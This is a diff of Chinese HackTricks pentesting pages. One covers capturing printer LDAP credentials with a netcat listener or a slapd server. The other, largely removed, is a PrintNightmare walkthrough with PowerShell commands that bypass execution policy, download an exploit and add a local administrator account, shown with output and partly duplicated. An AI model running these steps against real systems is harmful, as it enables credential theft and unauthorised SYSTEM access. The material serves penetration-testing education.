用户应对基于本书中包含的信息采取的任何行动负全部责任,并在尝试实施本书中描述的任何技术或提示时,应始终寻求专业的建议和协助。 用户应对基于本书中包含的信息采取的任何行动负全部责任,并在尝试实施本书中描述的任何技术或提示时,应始终寻求专业建议和帮助。
通过使用本书,用户同意免除作者和出版者对因使用本书或其中包含的任何信息而可能导致的任何损害、损失或伤害的所有责任和责任。 通过使用本书,用户同意免除作者和出版商对因使用本书或其中包含的任何信息而导致的任何损害、损失或伤害承担的任何责任和责任。
{% endhint %} {% endhint %}
<details> <details>
<summary><strong>从零开始学习AWS黑客攻击,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果你想在HackTricks中看到你的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏 * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**上关注**我。 * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**上关注**我。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**
</details> </details>

View file

@ -1,314 +1,59 @@
<details> <details>
<summary><strong>零基础学习AWS黑客攻击到高手</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式: 其他支持HackTricks的方式
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
互联网上有几个博客**强调了使用默认/弱登录凭证配置LDAP的打印机的危险**。\ 互联网上有几篇博客**强调将打印机配置为使用默认/弱LDAP登录凭据的危险性**。\
这是因为攻击者可以**诱使打印机对一个恶意的LDAP服务器进行认证**(通常一个`nc -vv -l -p 444`就足够了),并且能够以明文形式捕获打印机的**凭证**。 这是因为攻击者可能会**欺骗打印机对抗一个虚假的LDAP服务器**(通常`nc -vv -l -p 444`就足够了),并捕获打印机**明文凭据**。
此外,一些打印机会包含**带有用户名的日志**,甚至可能能够**从域控制器下载所有用户名**。 此外,一些打印机将包含**用户名日志**,甚至可能能够**从域控制器下载所有用户名**。
所有这些**敏感信息**以及常见的**安全缺失**使得打印机对攻击者来说非常有趣 所有这些**敏感信息**和常见的**安全缺陷**使得打印机对攻击者非常有吸引力
关于此主题的一些博客: 一些关于这个主题的博客:
* [https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/](https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/) * [https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/](https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/)
* [https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) * [https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
**以下信息摘自** [**https://grimhacker.com/2018/03/09/just-a-printer/**](https://grimhacker.com/2018/03/09/just-a-printer/) ## 打印机配置
- **位置**LDAP服务器列表位于`网络 > LDAP设置 > 设置LDAP`。
- **行为**该界面允许修改LDAP服务器而无需重新输入凭据旨在方便用户使用但存在安全风险。
- **利用**利用涉及将LDAP服务器地址重定向到受控机器并利用“测试连接”功能来捕获凭据。
# LDAP设置 ## 捕获凭据
在Konica Minolta打印机上可以配置要连接的LDAP服务器以及凭证。我听说在这些设备的早期固件版本中可以通过阅读页面的html源代码简单地恢复凭证。但现在界面中不再返回凭证所以我们必须更加努力。 ### 方法1Netcat监听器
一个简单的netcat监听器可能就足够了
LDAP服务器列表位于网络 > LDAP设置 > 设置LDAP ```bash
该界面允许修改LDAP服务器而无需重新输入将用于连接的凭证。我认为这是为了简化用户体验但它为攻击者提供了从打印机主人升级到域上的立足点的机会。
我们可以将LDAP服务器地址设置重新配置为我们控制的机器并利用“测试连接”功能触发连接。
# 监听货物
## netcat
如果你比我更幸运你可能只需要一个简单的netcat监听器
```
sudo nc -k -v -l -p 386 sudo nc -k -v -l -p 386
``` ```
确保由[@\_castleinthesky](https://twitter.com/\_castleinthesky)提供的信息,这个方法大多数时间内有效,但我个人还没有这么轻松就成功过。 ### 方法2具有Slapd的完整LDAP服务器
## Slapd 更可靠的方法涉及设置完整的LDAP服务器因为打印机在尝试凭据绑定之前执行空绑定后跟查询。
我发现需要一个完整的LDAP服务器因为打印机首先尝试一个空绑定然后查询可用信息只有这些操作成功后它才会使用凭据进行绑定。 1. **LDAP服务器设置**:该指南遵循来自[此来源](https://www.server-world.info/en/note?os=Fedora_26&p=openldap)的步骤。
2. **关键步骤**
- 安装OpenLDAP。
- 配置管理员密码。
- 导入基本模式。
- 在LDAP DB上设置域名。
- 配置LDAP TLS。
3. **LDAP服务执行**设置完成后可以使用以下命令运行LDAP服务
```
slapd -d 2
```
我寻找了一个简单的LDAP服务器来满足需求但似乎选项有限。最终我选择设置一个开放的LDAP服务器并使用slapd调试服务器服务来接受连接并打印打印机发出的消息。如果你知道更简单的替代方案我很乐意了解 **有关更详细的步骤,请参考原始[来源](https://grimhacker.com/2018/03/09/just-a-printer/)。**
### 安装 # 参考资料
* [https://grimhacker.com/2018/03/09/just-a-printer/](https://grimhacker.com/2018/03/09/just-a-printer/)
(注意这部分是对这里的指南进行了轻微改编 [https://www.server-world.info/en/note?os=Fedora\_26\&p=openldap](https://www.server-world.info/en/note?os=Fedora\_26\&p=openldap)
从root终端开始
**安装OpenLDAP**
```
#> dnf install -y install openldap-servers openldap-clients
#> cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG
#> chown ldap. /var/lib/ldap/DB_CONFIG
```
**设置一个OpenLDAP管理员密码您很快会再次需要这个**
```
#> slappasswd
New password:
Re-enter new password:
{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
```
```
#> vim chrootpw.ldif
# specify the password generated above for "olcRootPW" section
dn: olcDatabase={0}config,cn=config
changetype: modify
add: olcRootPW
olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
```
```
#> ldapadd -Y EXTERNAL -H ldapi:/// -f chrootpw.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "olcDatabase={0}config,cn=config"
```
**导入基本架构**
```
#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
adding new entry "cn=cosine,cn=schema,cn=config"
#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
adding new entry "cn=nis,cn=schema,cn=config"
#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
adding new entry "cn=inetorgperson,cn=schema,cn=config"
```
**在LDAP数据库上设置您的域名。**
```
# generate directory manager's password
#> slappasswd
New password:
Re-enter new password:
{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
#> vim chdomain.ldif
# specify the password generated above for "olcRootPW" section
dn: olcDatabase={1}monitor,cn=config
changetype: modify
replace: olcAccess
olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth"
read by dn.base="cn=Manager,dc=foo,dc=bar" read by * none
dn: olcDatabase={2}mdb,cn=config
changetype: modify
replace: olcSuffix
olcSuffix: dc=foo,dc=bar
dn: olcDatabase={2}mdb,cn=config
changetype: modify
replace: olcRootDN
olcRootDN: cn=Manager,dc=foo,dc=bar
dn: olcDatabase={2}mdb,cn=config
changetype: modify
add: olcRootPW
olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
dn: olcDatabase={2}mdb,cn=config
changetype: modify
add: olcAccess
olcAccess: {0}to attrs=userPassword,shadowLastChange by
dn="cn=Manager,dc=foo,dc=bar" write by anonymous auth by self write by * none
olcAccess: {1}to dn.base="" by * read
olcAccess: {2}to * by dn="cn=Manager,dc=foo,dc=bar" write by * read
#> ldapmodify -Y EXTERNAL -H ldapi:/// -f chdomain.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "olcDatabase={1}monitor,cn=config"
modifying entry "olcDatabase={2}mdb,cn=config"
modifying entry "olcDatabase={2}mdb,cn=config"
modifying entry "olcDatabase={2}mdb,cn=config"
modifying entry "olcDatabase={2}mdb,cn=config"
#> vim basedomain.ldif
dn: dc=foo,dc=bar
objectClass: top
objectClass: dcObject
objectclass: organization
o: Foo Bar
dc: DC1
dn: cn=Manager,dc=foo,dc=bar
objectClass: organizationalRole
cn: Manager
description: Directory Manager
dn: ou=People,dc=foo,dc=bar
objectClass: organizationalUnit
ou: People
dn: ou=Group,dc=foo,dc=bar
objectClass: organizationalUnit
ou: Group
#> ldapadd -x -D cn=Manager,dc=foo,dc=bar -W -f basedomain.ldif
Enter LDAP Password: # directory manager's password
adding new entry "dc=foo,dc=bar"
adding new entry "cn=Manager,dc=foo,dc=bar"
adding new entry "ou=People,dc=foo,dc=bar"
adding new entry "ou=Group,dc=foo,dc=bar"
```
**配置LDAP TLS**
**创建SSL证书**
```
#> cd /etc/pki/tls/certs
#> make server.key
umask 77 ; \
/usr/bin/openssl genrsa -aes128 2048 > server.key
Generating RSA private key, 2048 bit long modulus
...
...
e is 65537 (0x10001)
Enter pass phrase: # set passphrase
Verifying - Enter pass phrase: # confirm
# remove passphrase from private key
#> openssl rsa -in server.key -out server.key
Enter pass phrase for server.key: # input passphrase
writing RSA key
#> make server.csr
umask 77 ; \
/usr/bin/openssl req -utf8 -new -key server.key -out server.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [XX]: # country
State or Province Name (full name) []: # state
Locality Name (eg, city) [Default City]: # city
Organization Name (eg, company) [Default Company Ltd]: # company
Organizational Unit Name (eg, section) []:Foo Bar # department
Common Name (eg, your name or your server's hostname) []:www.foo.bar # server's FQDN
Email Address []:xxx@foo.bar # admin email
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []: # Enter
An optional company name []: # Enter
#> openssl x509 -in server.csr -out server.crt -req -signkey server.key -days 3650
Signature ok
subject=/C=/ST=/L=/O=/OU=Foo Bar/CN=dlp.foo.bar/emailAddress=xxx@roo.bar
Getting Private key
```
**为Slapd配置SSL/TLS**
```
#> cp /etc/pki/tls/certs/server.key \
/etc/pki/tls/certs/server.crt \
/etc/pki/tls/certs/ca-bundle.crt \
/etc/openldap/certs/
#> chown ldap. /etc/openldap/certs/server.key \
/etc/openldap/certs/server.crt \
/etc/openldap/certs/ca-bundle.crt
#> vim mod_ssl.ldif
# create new
dn: cn=config
changetype: modify
add: olcTLSCACertificateFile
olcTLSCACertificateFile: /etc/openldap/certs/ca-bundle.crt
-
replace: olcTLSCertificateFile
olcTLSCertificateFile: /etc/openldap/certs/server.crt
-
replace: olcTLSCertificateKeyFile
olcTLSCertificateKeyFile: /etc/openldap/certs/server.key
#> ldapmodify -Y EXTERNAL -H ldapi:/// -f mod_ssl.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "cn=config"
```
**允许通过本地防火墙的LDAP**
```
firewall-cmd --add-service={ldap,ldaps}
```
## 收益
一旦您安装并配置了LDAP服务您可以使用以下命令运行它
> ```
> slapd -d 2
> ```
下面的屏幕截图显示了我们在打印机上运行连接测试时的输出示例。如您所见用户名和密码从LDAP客户端传递到服务器。
![slapd终端输出包含用户名"MyUser"和密码"MyPassword"](https://i1.wp.com/grimhacker.com/wp-content/uploads/2018/03/slapd\_output.png?resize=474%2C163\&ssl=1)
# 有多糟糕?
这非常取决于已配置的凭据。
如果遵循最小权限原则那么您可能只能读取Active Directory的某些元素。这通常仍然很有价值因为您可以使用该信息来制定更精确的攻击。
通常您可能会得到Domain Users组中的一个账户这可能会让您访问敏感信息或形成其他攻击的先决认证。
或者像我一样您可能因为设置了LDAP服务器而得到了一个Domain Admin账户就像是端上银盘一样。
<details>
<summary><strong>从零到英雄学习AWS黑客攻击通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想在**HackTricks**中看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -2,153 +2,26 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 你在**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧** * 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来**分享你的黑客技巧**。
</details> </details>
**此页面的内容来自**[**https://academy.hackthebox.com/module/67/section/627**](https://academy.hackthebox.com/module/67/section/627)**** **查看这篇关于2024年PrintNightmare的精彩博客文章[https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
`CVE-2021-1675/CVE-2021-34527 PrintNightmare`是一个存在于[RpcAddPrinterDriver](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-rprn/f23a7519-1c77-4069-9ace-a6d8eae47c22)中的漏洞,用于允许远程打印和驱动程序安装。\
此函数旨在赋予具有Windows特权`SeLoadDriverPrivilege`的用户在远程打印池中**添加驱动程序**的能力。通常,此权限仅保留给内置的管理员组和打印操作员,他们可能有合法的需要在终端用户的计算机上远程安装打印机驱动程序。
该漏洞允许**任何经过身份验证的用户**在没有上述特权的情况下向Windows系统添加打印驱动程序从而使攻击者能够在受影响的任何系统上完全远程**以SYSTEM身份执行代码**。该漏洞**影响到了所有支持的Windows版本**,并且由于**打印池**默认在**域控制器**、Windows 7和10上运行并且通常在Windows服务器上启用因此这构成了一个巨大的攻击面因此被称为“噩梦”。
微软最初发布了一个未修复该问题的补丁早期的指导是禁用Spooler服务但这对许多组织来说是不切实际的但在2021年7月发布了第二个[补丁](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527),并提供了检查特定注册表设置是否设置为`0`或未定义的指导。&#x20;
一旦这个漏洞被公开PoC漏洞利用工具很快就被发布出来。**[@cube0x0](https://twitter.com/cube0x0)**的[**这个版本**](https://github.com/cube0x0/CVE-2021-1675)可以用于使用修改版的Impacket远程或本地执行恶意DLL。该存储库还包含一个**C#实现**。\
这个[**PowerShell实现**](https://github.com/calebstewart/CVE-2021-1675)可以用于快速本地权限提升。默认情况下,此脚本会**添加一个新的本地管理员用户**但如果添加本地管理员用户不在范围内我们也可以提供自定义的DLL以获取反向shell或类似的功能。
### **检查Spooler服务**
我们可以使用以下命令快速检查Spooler服务是否正在运行。如果它没有运行我们将收到“路径不存在”的错误。
```
PS C:\htb> ls \\localhost\pipe\spoolss
Directory: \\localhost\pipe
Mode LastWriteTime Length Name
---- ------------- ------ ----
spoolss
```
### **使用PrintNightmare PowerShell PoC添加本地管理员**
首先,开始绕过目标主机上的执行策略:[bypassing](https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/)。
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force
```
Next, download the PrintNightmare exploit module from GitHub:
```powershell
Invoke-WebRequest -Uri "https://github.com/afwu/PrintNightmare/raw/main/PrintNightmare.ps1" -OutFile "PrintNightmare.ps1"
```
Then, execute the PrintNightmare exploit to add a new local administrator account:
```powershell
.\PrintNightmare.ps1 -AddAdminAccount -Username "hacker" -Password "P@ssw0rd123!"
```
Finally, verify that the new local administrator account has been successfully added:
```powershell
net localgroup administrators
```
### **使用PrintNightmare PowerShell PoC添加本地管理员**
首先,开始绕过目标主机上的执行策略:[bypassing](https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/)。
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force
```
接下来从GitHub下载PrintNightmare漏洞模块
```powershell
Invoke-WebRequest -Uri "https://github.com/afwu/PrintNightmare/raw/main/PrintNightmare.ps1" -OutFile "PrintNightmare.ps1"
```
然后执行PrintNightmare漏洞以添加新的本地管理员账户
```powershell
.\PrintNightmare.ps1 -AddAdminAccount -Username "hacker" -Password "P@ssw0rd123!"
```
最后,验证新的本地管理员账户是否成功添加:
```powershell
net localgroup administrators
```
```
PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): A
```
现在我们可以导入PowerShell脚本并使用它来添加一个新的本地管理员用户。
```powershell
PS C:\htb> Import-Module .\CVE-2021-1675.ps1
PS C:\htb> Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"
[+] created payload at C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_am
d64_ce3301b66255a0fb\Amd64\mxdwdrv.dll"
[+] added user hacker as local administrator
[+] deleting payload from C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
```
### **确认新的管理员用户**
如果一切按计划进行,我们将拥有一个新的受控本地管理员用户。添加用户是“有声音的”,我们不希望在需要保持隐蔽的任务中这样做。此外,我们还需要与客户确认账户创建是否在评估范围内。
```
PS C:\htb> net user hacker
User name hacker
Full Name hacker
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set ?8/?9/?2021 12:12:01 PM
Password expires Never
Password changeable ?8/?9/?2021 12:12:01 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators
Global Group memberships *None
The command completed successfully.
```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 你在**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord **](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧** * 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来**分享你的黑客技巧**。
</details> </details>

View file

@ -4,17 +4,17 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 如果您在**网络安全公司**工作,想在**HackTricks**看到您的**公司广告**,或者想获得**PEASS最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 您在**网络安全公司**工作吗? 您想看到您的**公司在HackTricks中做广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。 * 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)。 * 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
